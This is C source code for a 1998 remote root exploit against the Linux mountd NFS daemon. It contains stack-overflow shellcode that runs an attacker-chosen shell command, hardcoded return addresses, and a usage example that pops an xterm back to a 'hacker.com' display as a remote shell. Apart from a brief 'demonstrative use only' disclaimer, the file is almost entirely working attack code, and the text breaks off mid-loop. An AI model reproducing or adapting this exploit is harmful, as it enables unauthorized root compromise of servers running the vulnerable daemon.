/* Mountd exploit code for x86 linux Remote user can gain root access. Tested redhat linux : 5.1 Tested mountd version : 2.2beta29 What requires /bin/mount and root access Usage $ mountd-ex [offset] Warning : This program can crash mountd. This program is only for demonstrative use only. USE IT AT YOUR OWN RISK! Programmed by Taeho Oh 1998/10/19 Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug */ #include #include #define OFFSET 0 #define RET_POSITION 984 #define RANGE 20 #define NOP 0x90 char shellcode[400]= "\xeb\x35" /* jmp 0x35 */ "\x5e" /* popl %esi */ "\x89\x76\x0b" /* movl %esi,0xb(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x0b" /* movl %eax,0xb(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x0b" /* addl $0xb,%eax */ "\x89\x46\x0b" /* movl %eax,0xb(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x88\x46\x0a" /* movb %eax,0xa(%esi) */ "\x88\x46\x0b" /* movb %eax,0xb(%esi) */ "\x89\x46\x0b" /* movl %eax,0xb(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */ "\x8d\x56\x0b" /* leal 0xb(%esi),%edx */ "\xcd\x80" /* int 0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int 0x80 */ "\xe8\xc6\xff\xff\xff" /* call -0x3a */ "/bin/sh -c "; /* .string "/bin/sh -c "*/ char command[400]; void usage() { printf("Warning : This program can crash mountd\n"); printf("Usage: mountd-ex [offset]\n"); printf("ex) mountd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+1],*ptr; char mntarg[RET_POSITION+RANGE+300]; long *addr_ptr,addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+1; int i; printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n"); printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n"); printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n"); if(argc<3) { usage(); exit(1); } if(argc>2) { strcpy(mntarg,argv[1]); strcpy(command,argv[2]); } if(argc>3) offset=atoi(argv[3]); shellcode[5]=(shellcode[5]+strlen(command))/4*4+4; shellcode[13]=(shellcode[13]+strlen(command))/4*4+8; shellcode[21]=(shellcode[21]+strlen(command))/4*4+12; shellcode[32]=(shellcode[32]+strlen(command)); shellcode[35]=(shellcode[35]+strlen(command))/4*4+16; shellcode[42]=(shellcode[42]+strlen(command))/4*4+4; shellcode[45]=(shellcode[45]+strlen(command))/4*4+16; strcat(shellcode,command); sp=0xbffff113; addr=sp-offset; ptr=buff+1; addr_ptr=(long*)ptr; for(i=0;i